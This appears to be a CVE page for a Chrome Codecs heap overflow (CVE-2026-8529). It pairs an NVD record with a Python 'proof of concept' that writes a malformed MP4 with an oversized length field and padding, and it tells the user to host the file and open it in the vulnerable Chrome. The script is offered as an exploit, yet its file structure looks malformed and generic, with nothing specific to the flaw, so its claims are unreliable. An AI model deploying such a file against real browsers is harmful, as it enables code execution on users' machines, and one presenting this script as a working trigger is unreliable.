CVE-2026-8529

import struct # This script generates a malformed video file to demonstrate the trigger mechanism. # It simulates a heap buffer overflow condition by manipulating header fields. def generate_exploit_video(filename): # Standard video file signature (simulated) file_signature = b'\x00\x00\x00\x20ftypmp42' # Malicious data block designed to trigger the overflow in Codecs # We set an excessively large size field to bypass boundary checks evil_size = struct.pack('<I', 0xFFFFFFF0) # Payload padding to fill the buffer and overwrite adjacent memory # In a real exploit, this would contain ROP chains or shellcode payload = b'A' * 5000 with open(filename, 'wb') as f: f.write(file_signature) f.write(evil_size) f.write(payload) print(f"[+] Malformed video file generated: {filename}") print("[+] Host this file on a web server and open it in the vulnerable Chrome version.") if __name__ == "__main__": generate_exploit_video("cve_2026_8529_poc.mp4")

{"cve": {"id": "CVE-2026-8529", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:13.720", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in Codecs in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted video file. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/490222151", "source": "[email protected]"}]}}